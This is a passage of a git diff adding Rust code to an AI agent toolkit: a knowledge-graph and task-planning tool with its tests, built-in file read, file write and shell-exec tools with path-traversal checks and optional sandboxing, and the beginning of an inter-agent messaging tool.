v.as_str()).unwrap_or("unknown"); + format!("- {} by {}: {}", dtype, agent, d) + }) + .collect(); + Ok(format!( + "Knowledge for '{}' ({} entries):\n{}", + target, + discoveries.len(), + lines.join("\n") + )) +} + +pub(super) fn parse_kanban_status(s: &str) -> Result { + match s.to_ascii_uppercase().as_str() { + "TODO" => Ok(atheneum::KanbanStatus::Todo), + "IN_PROGRESS" | "IN-PROGRESS" | "INPROGRESS" => Ok(atheneum::KanbanStatus::InProgress), + "DONE" => Ok(atheneum::KanbanStatus::Done), + "BLOCKED" => Ok(atheneum::KanbanStatus::Blocked), + _ => Err(format!( + "Invalid status '{}'. Must be TODO, IN_PROGRESS, DONE, or BLOCKED", + s + )), + } +} + +pub(super) fn parse_blocker_type(s: &str) -> Result { + match s.to_ascii_uppercase().as_str() { + "DEPENDENCY" => Ok(atheneum::graph::BlockerType::Dependency), + "BUG" => Ok(atheneum::graph::BlockerType::Bug), + "INFO_GAP" => Ok(atheneum::graph::BlockerType::InfoGap), + _ => Err(format!( + "Invalid blocker_type '{}'. Must be DEPENDENCY, BUG, or INFO_GAP", + s + )), + } +} diff --git a/forgekit_agent/src/chat/tools/atheneum_tool/mod.rs b/forgekit_agent/src/chat/tools/atheneum_tool/mod.rs new file mode 100644 index 0000000..b380670 --- /dev/null +++ b/forgekit_agent/src/chat/tools/atheneum_tool/mod.rs @@ -0,0 +1,199 @@ +mod handlers; +#[cfg(test)] +mod tests; + +use crate::chat::tools::registry::AsyncTool; +use crate::chat::tools::types::ToolDef; +use async_trait::async_trait; +use std::path::PathBuf; + +pub struct AtheneumTool { + db_path: PathBuf, + agent_name: String, +} + +impl AtheneumTool { + pub fn new(db_path: impl Into, agent_name: impl Into) -> Self { + AtheneumTool { + db_path: db_path.into(), + agent_name: agent_name.into(), + } + } + + fn open_graph(&self) -> Result { + atheneum::AtheneumGraph::open(&self.db_path).map_err(|e| { + format!( + "Failed to open atheneum DB at {}: {e}", + self.db_path.display() + ) + }) + } +} + +const COMMAND_LIST: &str = "\ +store_discovery, query_knowledge, query_knowledge_in_project, \ +store_handoff, get_pending_handoff, claim_handoff, \ +record_session, end_session, \ +record_evidence_prompt, record_evidence_tool_call, record_evidence_file_write, \ +record_evidence_commit, record_evidence_test_run, record_evidence_fix_chain, \ +record_evidence_bench_run, query_events, \ +create_task, update_task_status, find_task, list_tasks, \ +add_requirement, mark_requirement_met, add_blocker, resolve_blocker, \ +get_task_details"; + +#[async_trait] +impl AsyncTool for AtheneumTool { + async fn call(&self, arguments: serde_json::Value) -> Result { + let command = arguments + .get("command") + .and_then(|v| v.as_str()) + .ok_or_else(|| "Missing 'command' parameter".to_string())?; + let graph = self.open_graph()?; + + match command { + "store_discovery" => { + handlers::handle_store_discovery(&graph, &self.agent_name, &arguments) + } + "query_knowledge" => handlers::handle_query_knowledge(&graph, &arguments), + "query_knowledge_in_project" => { + handlers::handle_query_knowledge_in_project(&graph, &arguments) + } + "store_handoff" => handlers::handle_store_handoff(&graph, &self.agent_name, &arguments), + "get_pending_handoff" => handlers::handle_get_pending_handoff(&graph, &self.agent_name), + "claim_handoff" => handlers::handle_claim_handoff(&graph, &arguments), + "record_session" => { + handlers::handle_record_session(&graph, &self.agent_name, &arguments) + } + "end_session" => handlers::handle_end_session(&graph, &arguments), + "record_evidence_prompt" => handlers::handle_record_evidence_prompt(&graph, &arguments), + "record_evidence_tool_call" => { + handlers::handle_record_evidence_tool_call(&graph, &arguments) + } + "record_evidence_file_write" => { + handlers::handle_record_evidence_file_write(&graph, &arguments) + } + "record_evidence_commit" => handlers::handle_record_evidence_commit(&graph, &arguments), + "record_evidence_test_run" => { + handlers::handle_record_evidence_test_run(&graph, &arguments) + } + "record_evidence_fix_chain" => { + handlers::handle_record_evidence_fix_chain(&graph, &arguments) + } + "record_evidence_bench_run" => { + handlers::handle_record_evidence_bench_run(&graph, &arguments) + } + "query_events" => handlers::handle_query_events(&graph, &arguments), + "create_task" => handlers::handle_create_task(&graph, &arguments), + "update_task_status" => handlers::handle_update_task_status(&graph, &arguments), + "find_task" => handlers::handle_find_task(&graph, &arguments), + "list_tasks" => handlers::handle_list_tasks(&graph, &arguments), + "add_requirement" => handlers::handle_add_requirement(&graph, &arguments), + "mark_requirement_met" => handlers::handle_mark_requirement_met(&graph, &arguments), + "add_blocker" => handlers::handle_add_blocker(&graph, &arguments), + "resolve_blocker" => handlers::handle_resolve_blocker(&graph, &arguments), + "get_task_details" => handlers::handle_get_task_details(&graph, &arguments), + _ => Err(format!( + "Unknown atheneum command: '{}'. Available: {}", + command, COMMAND_LIST + )), + } + } + + fn definition(&self) -> ToolDef { + ToolDef::new( + "atheneum", + "Knowledge graph, evidence tracking, and task planning. \ + Discovery: store_discovery, query_knowledge, query_knowledge_in_project. \ + Handoff: store_handoff, get_pending_handoff, claim_handoff. \ + Evidence: record_session, end_session, record_evidence_prompt, record_evidence_tool_call, \ + record_evidence_file_write, record_evidence_commit, record_evidence_test_run, \ + record_evidence_fix_chain, record_evidence_bench_run, query_events. \ + Planning: create_task, update_task_status, find_task, list_tasks, \ + add_requirement, mark_requirement_met, add_blocker, resolve_blocker, get_task_details.", + serde_json::json!({ + "type": "object", + "properties": { + "command": { + "type": "string", + "description": "The atheneum command to execute" + }, + "target": { + "type": "string", + "description": "Target symbol/concept (store_discovery, query_knowledge)" + }, + "discovery_type": { + "type": "string", + "description": "Type of discovery (store_discovery)" + }, + "metadata": { + "type": "object", + "description": "Arbitrary metadata (store_discovery)" + }, + "project_id": { + "type": "string", + "description": "Project scope (query_knowledge_in_project, planning commands)" + }, + "to_agent": { + "type": "string", + "description": "Recipient agent name (store_handoff)" + }, + "manifest": { + "type": "object", + "description": "Handoff manifest data (store_handoff)" + }, + "handoff_id": { + "type": "integer", + "description": "Handoff ID to claim (claim_handoff)" + }, + "session_id": { + "type": "string", + "description": "Session identifier (evidence commands)" + }, + "project": { + "type": "string", + "description": "Project name (record_session)" + }, + "title": { + "type": "string", + "description": "Task title (create_task, find_task)" + }, + "description": { + "type": "string", + "description": "Description (create_task, add_blocker)" + }, + "task_id": { + "type": "integer", + "description": "Task ID (update_task_status, add_requirement, add_blocker, get_task_details)" + }, + "status": { + "type": "string", + "enum": ["TODO", "IN_PROGRESS", "DONE", "BLOCKED"], + "description": "Task status (update_task_status, list_tasks)" + }, + "statement": { + "type": "string", + "description": "Requirement statement (add_requirement)" + }, + "verification_method": { + "type": "string", + "description": "How to verify (add_requirement)" + }, + "req_id": { + "type": "integer", + "description": "Requirement ID (mark_requirement_met)" + }, + "blocker_id": { + "type": "integer", + "description": "Blocker ID (resolve_blocker)" + }, + "blocker_type": { + "type": "string", + "enum": ["DEPENDENCY", "BUG", "INFO_GAP"], + "description": "Blocker type (add_blocker)" + } + }, + "required": ["command"] + }), + ) + } +} diff --git a/forgekit_agent/src/chat/tools/atheneum_tool/tests.rs b/forgekit_agent/src/chat/tools/atheneum_tool/tests.rs new file mode 100644 index 0000000..c25a162 --- /dev/null +++ b/forgekit_agent/src/chat/tools/atheneum_tool/tests.rs @@ -0,0 +1,269 @@ +use super::*; + +fn fresh_db() -> (tempfile::TempDir, std::path::PathBuf) { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + let db_path = temp.path().join("atheneum.db"); + let _ = atheneum::AtheneumGraph::open(&db_path).expect("invariant: DB creation succeeds"); + (temp, db_path) +} + +#[test] +fn test_atheneum_tool_definition() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + let tool = AtheneumTool::new(temp.path().join("atheneum.db"), "test-agent"); + let def = tool.definition(); + assert_eq!(def.name, "atheneum"); +} + +#[tokio::test] +async fn test_atheneum_store_and_query() { + let (_temp, db_path) = fresh_db(); + let tool = AtheneumTool::new(&db_path, "test-agent"); + + let result = tool + .call(serde_json::json!({ + "command": "store_discovery", + "target": "my_symbol", + "discovery_type": "Symbol", + "metadata": {"file": "src/lib.rs", "line": 42} + })) + .await + .expect("invariant: store succeeds"); + assert!(result.contains("Stored discovery")); + + let result = tool + .call(serde_json::json!({ + "command": "query_knowledge", + "target": "my_symbol" + })) + .await + .expect("invariant: query succeeds"); + assert!(result.contains("my_symbol")); +} + +#[tokio::test] +async fn test_atheneum_handoff_round_trip() { + let (_temp, db_path) = fresh_db(); + let tool = AtheneumTool::new(&db_path, "agent-a"); + + let result = tool + .call(serde_json::json!({ + "command": "store_handoff", + "to_agent": "agent-b", + "manifest": {"body": "finish the refactor"} + })) + .await + .expect("invariant: store succeeds"); + assert!(result.contains("Stored handoff")); + + let tool_b = AtheneumTool::new(&db_path, "agent-b"); + + let result = tool_b + .call(serde_json::json!({"command": "get_pending_handoff"})) + .await + .expect("invariant: get succeeds"); + assert!(result.contains("agent-a")); + + let result = tool_b + .call(serde_json::json!({ + "command": "claim_handoff", + "handoff_id": 1 + })) + .await + .expect("invariant: claim succeeds"); + assert!(result.contains("Claimed handoff")); +} + +#[tokio::test] +async fn test_atheneum_query_empty() { + let (_temp, db_path) = fresh_db(); + let tool = AtheneumTool::new(&db_path, "test-agent"); + let result = tool + .call(serde_json::json!({ + "command": "query_knowledge", + "target": "nonexistent" + })) + .await + .expect("invariant: succeeds"); + assert!(result.contains("No knowledge found")); +} + +#[tokio::test] +async fn test_atheneum_unknown_command() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + let tool = AtheneumTool::new(temp.path().join("atheneum.db"), "test-agent"); + let result = tool.call(serde_json::json!({"command": "delete"})).await; + assert!(result.is_err()); + assert!(result.unwrap_err().contains("Unknown atheneum command")); +} + +#[tokio::test] +async fn test_atheneum_session_round_trip() { + let (_temp, db_path) = fresh_db(); + let tool = AtheneumTool::new(&db_path, "test-agent"); + + let result = tool + .call(serde_json::json!({ + "command": "record_session", + "session_id": "sess-001", + "project": "forge", + "tool": "forgekit-agent" + })) + .await + .expect("invariant: record_session succeeds"); + assert!(result.contains("Recorded session")); + + let result = tool + .call(serde_json::json!({ + "command": "end_session", + "session_id": "sess-001", + "exit_status": "ok", + "prompt_count": 5, + "tool_call_count": 3 + })) + .await + .expect("invariant: end_session succeeds"); + assert!(result.contains("Session ended")); +} + +#[tokio::test] +async fn test_atheneum_evidence_tool_call() { + let (_temp, db_path) = fresh_db(); + + let tool = AtheneumTool::new(&db_path, "test-agent"); + tool.call(serde_json::json!({ + "command": "record_session", + "session_id": "sess-002", + "project": "forge" + })) + .await + .expect("invariant: session setup"); + + let result = tool + .call(serde_json::json!({ + "command": "record_evidence_tool_call", + "session_id": "sess-002", + "tool_name": "graph_query", + "tool_category": "grounded_query", + "exit_status": "ok", + "latency_ms": 42 + })) + .await + .expect("invariant: tool call evidence succeeds"); + assert!(result.contains("Recorded tool call evidence")); +} + +#[tokio::test] +async fn test_atheneum_planning_task_lifecycle() { + let (_temp, db_path) = fresh_db(); + let tool = AtheneumTool::new(&db_path, "test-agent"); + + let result = tool + .call(serde_json::json!({ + "command": "create_task", + "title": "Implement X", + "description": "Build feature X", + "project_id": "forge" + })) + .await + .expect("invariant: create_task succeeds"); + assert!(result.contains("Created task")); + + let result = tool + .call(serde_json::json!({ + "command": "find_task", + "title": "Implement X", + "project_id": "forge" + })) + .await + .expect("invariant: find_task succeeds"); + assert!(result.contains("Found task")); + + let result = tool + .call(serde_json::json!({ + "command": "update_task_status", + "task_id": 1, + "status": "IN_PROGRESS" + })) + .await + .expect("invariant: update succeeds"); + assert!(result.contains("updated to")); + + let result = tool + .call(serde_json::json!({ + "command": "list_tasks", + "status": "IN_PROGRESS", + "project_id": "forge" + })) + .await + .expect("invariant: list succeeds"); + assert!(result.contains("Implement X")); + + let result = tool + .call(serde_json::json!({ + "command": "add_requirement", + "task_id": 1, + "statement": "Tests must pass", + "verification_method": "cargo test" + })) + .await + .expect("invariant: add_requirement succeeds"); + assert!(result.contains("Added requirement")); + + let result = tool + .call(serde_json::json!({ + "command": "add_blocker", + "task_id": 1, + "description": "Waiting on upstream API", + "blocker_type": "DEPENDENCY" + })) + .await + .expect("invariant: add_blocker succeeds"); + assert!(result.contains("Added blocker")); + + let result = tool + .call(serde_json::json!({ + "command": "get_task_details", + "task_id": 1 + })) + .await + .expect("invariant: get_task_details succeeds"); + assert!(result.contains("Implement X")); + assert!(result.contains("Tests must pass")); + assert!(result.contains("Waiting on upstream API")); +} + +#[tokio::test] +async fn test_atheneum_query_events() { + let (_temp, db_path) = fresh_db(); + let tool = AtheneumTool::new(&db_path, "test-agent"); + + tool.call(serde_json::json!({ + "command": "record_session", + "session_id": "sess-ev", + "project": "forge" + })) + .await + .expect("invariant: session setup"); + + let result = tool + .call(serde_json::json!({ + "command": "query_events", + "session_id": "sess-ev" + })) + .await + .expect("invariant: query_events succeeds"); + assert!(result.contains("Events")); +} + +#[tokio::test] +async fn test_parse_kanban_status_invalid() { + let result = handlers::parse_kanban_status("INVALID"); + assert!(result.is_err()); +} + +#[tokio::test] +async fn test_parse_blocker_type_invalid() { + let result = handlers::parse_blocker_type("INVALID"); + assert!(result.is_err()); +} diff --git a/forgekit_agent/src/chat/tools/builtins.rs b/forgekit_agent/src/chat/tools/builtins.rs new file mode 100644 index 0000000..3b5f112 --- /dev/null +++ b/forgekit_agent/src/chat/tools/builtins.rs @@ -0,0 +1,479 @@ +use super::registry::AsyncTool; +use super::types::ToolDef; +use crate::chat::sandbox::SharedSandbox; +use async_trait::async_trait; + +fn validate_path(working_dir: &std::path::Path, path: &str) -> Result { + if path.contains('\0') { + return Err(format!("Path contains null bytes: {path}")); + } + if path.starts_with('/') || path.starts_with('\\') { + return Err(format!("Absolute paths not allowed: {path}")); + } + for component in std::path::Path::new(path).components() { + match component { + std::path::Component::ParentDir => { + return Err(format!("Path traversal not allowed: {path}")); + } + std::path::Component::RootDir | std::path::Component::Prefix(_) => { + return Err(format!("Absolute paths not allowed: {path}")); + } + std::path::Component::CurDir | std::path::Component::Normal(_) => {} + } + } + let full = working_dir.join(path); + let canonical_working = working_dir + .canonicalize() + .unwrap_or_else(|_| working_dir.to_path_buf()); + if let Ok(canonical) = full.canonicalize() { + if !canonical.starts_with(&canonical_working) { + return Err(format!( + "Path escapes working directory: {} (resolved to {})", + path, + canonical.display() + )); + } + } + Ok(full) +} + +pub struct FileReadTool { + working_dir: std::path::PathBuf, + sandbox: SharedSandbox, +} + +impl FileReadTool { + pub fn new(working_dir: impl Into) -> Self { + FileReadTool { + working_dir: working_dir.into(), + sandbox: crate::chat::sandbox::shared_sandbox(None), + } + } + + pub fn with_sandbox(mut self, sandbox: SharedSandbox) -> Self { + self.sandbox = sandbox; + self + } +} + +#[async_trait] +impl AsyncTool for FileReadTool { + async fn call(&self, arguments: serde_json::Value) -> Result { + let path = arguments["path"] + .as_str() + .ok_or_else(|| "Missing 'path' parameter".to_string())?; + if let Some(ref sandbox) = *self.sandbox.lock() { + sandbox.is_path_allowed(path)?; + } + let full = validate_path(&self.working_dir, path)?; + tokio::fs::read_to_string(&full) + .await + .map_err(|e| format!("Failed to read {}: {e}", full.display())) + } + + fn definition(&self) -> ToolDef { + ToolDef::new( + "file_read", + "Read the contents of a file. Path is relative to the project root.", + serde_json::json!({ + "type": "object", + "properties": { + "path": { + "type": "string", + "description": "Relative path to the file" + } + }, + "required": ["path"] + }), + ) + } +} + +pub struct FileWriteTool { + working_dir: std::path::PathBuf, + sandbox: SharedSandbox, +} + +impl FileWriteTool { + pub fn new(working_dir: impl Into) -> Self { + FileWriteTool { + working_dir: working_dir.into(), + sandbox: crate::chat::sandbox::shared_sandbox(None), + } + } + + pub fn with_sandbox(mut self, sandbox: SharedSandbox) -> Self { + self.sandbox = sandbox; + self + } +} + +#[async_trait] +impl AsyncTool for FileWriteTool { + async fn call(&self, arguments: serde_json::Value) -> Result { + let path = arguments["path"] + .as_str() + .ok_or_else(|| "Missing 'path' parameter".to_string())?; + if let Some(ref sandbox) = *self.sandbox.lock() { + sandbox.is_path_allowed(path)?; + } + let content = arguments["content"] + .as_str() + .ok_or_else(|| "Missing 'content' parameter".to_string())?; + let full = validate_path(&self.working_dir, path)?; + if let Some(parent) = full.parent() { + tokio::fs::create_dir_all(parent) + .await + .map_err(|e| format!("Failed to create directory: {e}"))?; + } + tokio::fs::write(&full, content) + .await + .map_err(|e| format!("Failed to write {}: {e}", full.display()))?; + Ok(format!("Wrote {} bytes to {}", content.len(), path)) + } + + fn definition(&self) -> ToolDef { + ToolDef::new( + "file_write", + "Write content to a file. Creates parent directories if needed. Path is relative to project root.", + serde_json::json!({ + "type": "object", + "properties": { + "path": { + "type": "string", + "description": "Relative path to the file" + }, + "content": { + "type": "string", + "description": "Content to write" + } + }, + "required": ["path", "content"] + }), + ) + } +} + +pub struct ShellExecTool { + working_dir: std::path::PathBuf, + timeout_secs: u64, + sandbox: SharedSandbox, +} + +impl ShellExecTool { + pub fn new(working_dir: impl Into) -> Self { + ShellExecTool { + working_dir: working_dir.into(), + timeout_secs: 30, + sandbox: crate::chat::sandbox::shared_sandbox(None), + } + } + + pub fn with_timeout(mut self, secs: u64) -> Self { + self.timeout_secs = secs; + self + } + + pub fn with_sandbox(mut self, sandbox: SharedSandbox) -> Self { + self.sandbox = sandbox; + self + } +} + +#[async_trait] +impl AsyncTool for ShellExecTool { + async fn call(&self, arguments: serde_json::Value) -> Result { + let command = arguments["command"] + .as_str() + .ok_or_else(|| "Missing 'command' parameter".to_string())?; + if let Some(ref sandbox) = *self.sandbox.lock() { + sandbox.is_command_allowed(command)?; + } + let result = tokio::time::timeout( + std::time::Duration::from_secs(self.timeout_secs), + tokio::process::Command::new("sh") + .arg("-c") + .arg(command) + .current_dir(&self.working_dir) + .output(), + ) + .await + .map_err(|_| format!("Command timed out after {}s", self.timeout_secs))? + .map_err(|e| format!("Failed to execute command: {e}"))?; + + let stdout = String::from_utf8_lossy(&result.stdout); + let stderr = String::from_utf8_lossy(&result.stderr); + if result.status.success() { + Ok(stdout.to_string()) + } else { + Err(format!( + "Exit code {}: {}{}", + result.status.code().unwrap_or(-1), + stdout, + if stderr.is_empty() { + String::new() + } else { + format!("\nstderr: {stderr}") + } + )) + } + } + + fn definition(&self) -> ToolDef { + ToolDef::new( + "shell_exec", + "Execute a shell command in the project directory. Returns stdout on success, error message on failure.", + serde_json::json!({ + "type": "object", + "properties": { + "command": { + "type": "string", + "description": "Shell command to execute" + } + }, + "required": ["command"] + }), + ) + } +} + +pub struct GraphQueryTool { + forge: forgekit_core::Forge, +} + +impl GraphQueryTool { + pub fn new(forge: forgekit_core::Forge) -> Self { + GraphQueryTool { forge } + } +} + +#[async_trait] +impl AsyncTool for GraphQueryTool { + async fn call(&self, arguments: serde_json::Value) -> Result { + let command = arguments["command"] + .as_str() + .ok_or_else(|| "Missing 'command' parameter".to_string())?; + + match command { + "find_symbol" => { + let name = arguments["name"] + .as_str() + .ok_or_else(|| "Missing 'name' parameter for find_symbol".to_string())?; + let symbols = self + .forge + .graph() + .find_symbol(name) + .await + .map_err(|e| format!("find_symbol failed: {e}"))?; + Ok(format_symbols(&symbols)) + } + "callers_of" => { + let name = arguments["name"] + .as_str() + .ok_or_else(|| "Missing 'name' parameter for callers_of".to_string())?; + let callers = self + .forge + .graph() + .callers_of(name) + .await + .map_err(|e| format!("callers_of failed: {e}"))?; + Ok(format_references(&callers)) + } + "references" => { + let name = arguments["name"] + .as_str() + .ok_or_else(|| "Missing 'name' parameter for references".to_string())?; + let refs = self + .forge + .graph() + .references(name) + .await + .map_err(|e| format!("references failed: {e}"))?; + Ok(format_references(&refs)) + } + "cycles" => { + let cycles = self + .forge + .graph() + .cycles() + .await + .map_err(|e| format!("cycles failed: {e}"))?; + Ok(format_cycles(&cycles)) + } + "impact_analysis" => { + let name = arguments["name"] + .as_str() + .ok_or_else(|| "Missing 'name' parameter for impact_analysis".to_string())?; + let max_hops = arguments["max_hops"].as_u64().map(|h| h as u32); + let impacted = self + .forge + .graph() + .impact_analysis(name, max_hops) + .await + .map_err(|e| format!("impact_analysis failed: {e}"))?; + Ok(format_impacted(&impacted)) + } + _ => Err(format!( + "Unknown graph command: '{command}'. Available: find_symbol, callers_of, references, cycles, impact_analysis" + )), + } + } + + fn definition(&self) -> ToolDef { + ToolDef::new( + "graph_query", + "Query the code graph for symbol information. Commands: find_symbol (find symbols by name), callers_of (find who calls a symbol), references (find all cross-file references), cycles (detect call-graph cycles), impact_analysis (find symbols affected by changing a symbol).", + serde_json::json!({ + "type": "object", + "properties": { + "command": { + "type": "string", + "enum": ["find_symbol", "callers_of", "references", "cycles", "impact_analysis"], + "description": "The graph query to execute" + }, + "name": { + "type": "string", + "description": "Symbol name (required for find_symbol, callers_of, references, impact_analysis)" + }, + "max_hops": { + "type": "integer", + "description": "Maximum traversal depth for impact_analysis (default: 2)" + } + }, + "required": ["command"] + }), + ) + } +} + +fn format_symbols(symbols: &[forgekit_core::types::Symbol]) -> String { + if symbols.is_empty() { + return "No symbols found.".to_string(); + } + let lines: Vec = symbols + .iter() + .map(|s| { + format!( + "- {} ({}): {}:{} kind={:?}", + s.name, + s.fully_qualified_name, + s.location.file_path.display(), + s.location.line_number, + s.kind, + ) + }) + .collect(); + format!("Found {} symbol(s):\n{}", symbols.len(), lines.join("\n")) +} + +fn format_references(refs: &[forgekit_core::types::Reference]) -> String { + if refs.is_empty() { + return "No references found.".to_string(); + } + let lines: Vec = refs + .iter() + .map(|r| { + let from = r.from_name.as_deref().unwrap_or(""); + let to = r.to_name.as_deref().unwrap_or(""); + format!( + "- {from} -> {to} at {}:{} ({:?})", + r.location.file_path.display(), + r.location.line_number, + r.kind, + ) + }) + .collect(); + format!("Found {} reference(s):\n{}", refs.len(), lines.join("\n")) +} + +fn format_cycles(cycles: &[forgekit_core::types::Cycle]) -> String { + if cycles.is_empty() { + return "No cycles detected.".to_string(); + } + let lines: Vec = cycles + .iter() + .enumerate() + .map(|(i, c)| { + let members: Vec = c + .members + .iter() + .map(|m| { + let fqn = m.fqn.as_deref().unwrap_or(""); + format!("{fqn} ({}:{})", m.file_path, m.kind) + }) + .collect(); + format!("Cycle {}: {}", i + 1, members.join(" <-> ")) + }) + .collect(); + format!("Found {} cycle(s):\n{}", cycles.len(), lines.join("\n")) +} + +fn format_impacted(impacted: &[forgekit_core::graph::ImpactedSymbol]) -> String { + if impacted.is_empty() { + return "No impacted symbols found.".to_string(); + } + let lines: Vec = impacted + .iter() + .map(|s| { + format!( + "- {} ({}): {} hop={} edge={}", + s.name, s.kind, s.file_path, s.hop_distance, s.edge_type, + ) + }) + .collect(); + format!( + "Found {} impacted symbol(s):\n{}", + impacted.len(), + lines.join("\n") + ) +} + +pub fn default_builtin_tools( + working_dir: impl Into, +) -> Vec> { + let dir = working_dir.into(); + vec![ + Box::new(FileReadTool::new(dir.clone())), + Box::new(FileWriteTool::new(dir.clone())), + Box::new(ShellExecTool::new(dir)), + ] +} + +pub fn default_builtin_tools_sandboxed( + working_dir: impl Into, + sandbox: SharedSandbox, +) -> Vec> { + let dir = working_dir.into(); + vec![ + Box::new(FileReadTool::new(dir.clone()).with_sandbox(sandbox.clone())), + Box::new(FileWriteTool::new(dir.clone()).with_sandbox(sandbox.clone())), + Box::new(ShellExecTool::new(dir).with_sandbox(sandbox)), + ] +} + +pub fn default_builtin_tools_with_graph( + working_dir: impl Into, + forge: forgekit_core::Forge, +) -> Vec> { + let dir = working_dir.into(); + vec![ + Box::new(FileReadTool::new(dir.clone())), + Box::new(FileWriteTool::new(dir.clone())), + Box::new(ShellExecTool::new(dir)), + Box::new(GraphQueryTool::new(forge)), + ] +} + +pub fn default_builtin_tools_with_graph_sandboxed( + working_dir: impl Into, + forge: forgekit_core::Forge, + sandbox: SharedSandbox, +) -> Vec> { + let dir = working_dir.into(); + vec![ + Box::new(FileReadTool::new(dir.clone()).with_sandbox(sandbox.clone())), + Box::new(FileWriteTool::new(dir.clone()).with_sandbox(sandbox.clone())), + Box::new(ShellExecTool::new(dir).with_sandbox(sandbox)), + Box::new(GraphQueryTool::new(forge)), + ] +} diff --git a/forgekit_agent/src/chat/tools/envoy_tool.rs b/forgekit_agent/src/chat/tools/envoy_tool.rs new file mode 100644 index 0000000..c38fae6 --- /dev/null +++ b/forgekit_agent/src/chat/tools/envoy_tool.rs @@ -0,0 +1,456 @@ +use crate::chat::tools::registry::AsyncTool; +use crate::chat::tools::types::ToolDef; +use crate::envoy::EnvoyClient; +use async_trait::async_trait; +use std::sync::Arc; + +const COMMAND_LIST: &str = "\ +send_message, poll_messages, \ +store_discovery, query_discoveries, query_knowledge, \ +store_handoff, get_pending_handoff, claim_handoff, \ +record_evidence_prompt, record_evidence_tool_call, record_evidence_file_write, \ +record_evidence_commit, record_evidence_test_run, record_evidence_fix_chain, \ +record_evidence_bench_run, query_events"; + +pub struct EnvoyTool { + client: Arc, +} + +impl EnvoyTool { + pub fn new(client: Arc) -> Self { + EnvoyTool { client } + } + + fn str_field(args: &serde_json::Value, key: &str) -> Option { + args.get(key) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) + } + + fn u64_field(args: &serde_json::Value, key: &str) -> Option { + args.get(key).and_then(|v| v.as_u64()) + } + + fn i64_field(args: &serde_json::Value, key: &str) -> Option { + args.get(key).and_then(|v| v.as_i64()) + } + + fn f64_field(args: &serde_json::Value, key: &str) -> Option { + args.get(key).and_then(|v| v.as_f64()) + } + + fn bool_field(args: &serde_json::Value, key: &str) -> Option { + args.get(key).and_then(|v| v.as_bool()) + } +} + +#[async_trait] +impl AsyncTool for EnvoyTool { + async fn call(&self, arguments: serde_json::Value) -> Result { + let command = arguments["command"] + .as_str() + .ok_or_else(|| "Missing 'command' parameter".to_string())?; + + match command { + // ── Messaging ───────────────────────────────────────────────────── + "send_message" => { + let to = arguments["to"] + .as_str() + .ok_or_else(|| "Missing 'to' parameter".to_string())?; + let content = arguments + .get("content") + .cloned() + .unwrap_or(serde_json::Value::String(String::new())); + self.client + .send_message(&self.client.config.agent_name, to, content) + .await?; + Ok(format!("Message sent to {}", to)) + } + + "poll_messages" => { + let since = arguments["since"].as_i64(); + let messages = self.client.poll_messages(since).await?; + if messages.is_empty() { + return Ok("No new messages.".to_string()); + } + let lines: Vec = messages + .iter() + .map(|m| { + serde_json::to_string(m).unwrap_or_else(|_| "".to_string()) + }) + .collect(); + Ok(format!( + "Messages ({}):\n{}", + messages.len(), + lines.join("\n") + )) + } + + // ── Discovery ───────────────────────────────────────────────────── + "store_discovery" => { + let discovery_type = arguments["discovery_type"] + .as_str() + .ok_or_else(|| "Missing 'discovery_type' parameter".to_string())?; + let target = arguments["target"] + .as_str() + .ok_or_else(|| "Missing 'target' parameter".to_string())?; + let metadata = arguments + .get("metadata") + .cloned() + .unwrap_or(serde_json::Value::Object(serde_json::Map::new())); + let id = self + .client + .store_discovery(discovery_type, target, metadata) + .await?; + Ok(format!("Stored discovery {}", id)) + } + + "query_discoveries" => { + let target = arguments["target"] + .as_str() + .ok_or_else(|| "Missing 'target' parameter".to_string())?; + let results = self.client.query_discoveries(target).await?; + if results.is_empty() { + return Ok(format!("No discoveries found for '{}'.", target)); + } + let lines: Vec = results + .iter() + .map(|d| { + serde_json::to_string(d).unwrap_or_else(|_| "".to_string()) + }) + .collect(); + Ok(format!( + "Discoveries for '{}' ({}):\n{}", + target, + results.len(), + lines.join("\n") + )) + } + + // ── Knowledge ───────────────────────────────────────────────────── + "query_knowledge" => { + let target = arguments["target"] + .as_str() + .ok_or_else(|| "Missing 'target' parameter".to_string())?; + let results = self.client.query_knowledge(target).await?; + if results.is_empty() { + return Ok(format!("No knowledge found for '{}'.", target)); + } + let lines: Vec = results + .iter() + .map(|d| { + serde_json::to_string(d).unwrap_or_else(|_| "".to_string()) + }) + .collect(); + Ok(format!( + "Knowledge for '{}' ({}):\n{}", + target, + results.len(), + lines.join("\n") + )) + } + + // ── Handoff ─────────────────────────────────────────────────────── + "store_handoff" => { + let to_agent = arguments["to_agent"] + .as_str() + .ok_or_else(|| "Missing 'to_agent' parameter".to_string())?; + let manifest = arguments + .get("manifest") + .cloned() + .unwrap_or(serde_json::json!({"body": "no details"})); + let id = self.client.store_handoff(to_agent, manifest).await?; + Ok(format!("Stored handoff {}", id)) + } + + "get_pending_handoff" => { + let handoff = self.client.get_pending_handoff().await?; + match handoff { + Some(h) => Ok(format!( + "Pending handoff: {}", + serde_json::to_string(&h).unwrap_or_else(|_| "".to_string()) + )), + None => Ok("No pending handoffs.".to_string()), + } + } + + "claim_handoff" => { + let handoff_id = arguments["handoff_id"] + .as_i64() + .ok_or_else(|| "Missing 'handoff_id' parameter".to_string())?; + self.client.claim_handoff(handoff_id).await?; + Ok(format!("Claimed handoff {}", handoff_id)) + } + + // ── Evidence: Prompt ────────────────────────────────────────────── + "record_evidence_prompt" => { + let session_id = arguments["session_id"] + .as_str() + .ok_or_else(|| "Missing 'session_id' parameter".to_string())?; + let record = crate::evidence::PromptRecord { + role: Self::str_field(&arguments, "role").unwrap_or_default(), + sequence: Self::u64_field(&arguments, "sequence").unwrap_or(0) as u32, + input_hash: Self::str_field(&arguments, "input_hash").unwrap_or_default(), + input_tokens: Self::u64_field(&arguments, "input_tokens"), + output_hash: Self::str_field(&arguments, "output_hash"), + output_tokens: Self::u64_field(&arguments, "output_tokens"), + latency_ms: Self::u64_field(&arguments, "latency_ms"), + model: Self::str_field(&arguments, "model"), + cost_usd: Self::f64_field(&arguments, "cost_usd"), + }; + self.client.forge_prompt(session_id, &record).await?; + Ok("Recorded prompt evidence.".to_string()) + } + + // ── Evidence: Tool Call ──────────────────────────────────────────── + "record_evidence_tool_call" => { + let session_id = arguments["session_id"] + .as_str() + .ok_or_else(|| "Missing 'session_id' parameter".to_string())?; + let tool_category_str = Self::str_field(&arguments, "tool_category") + 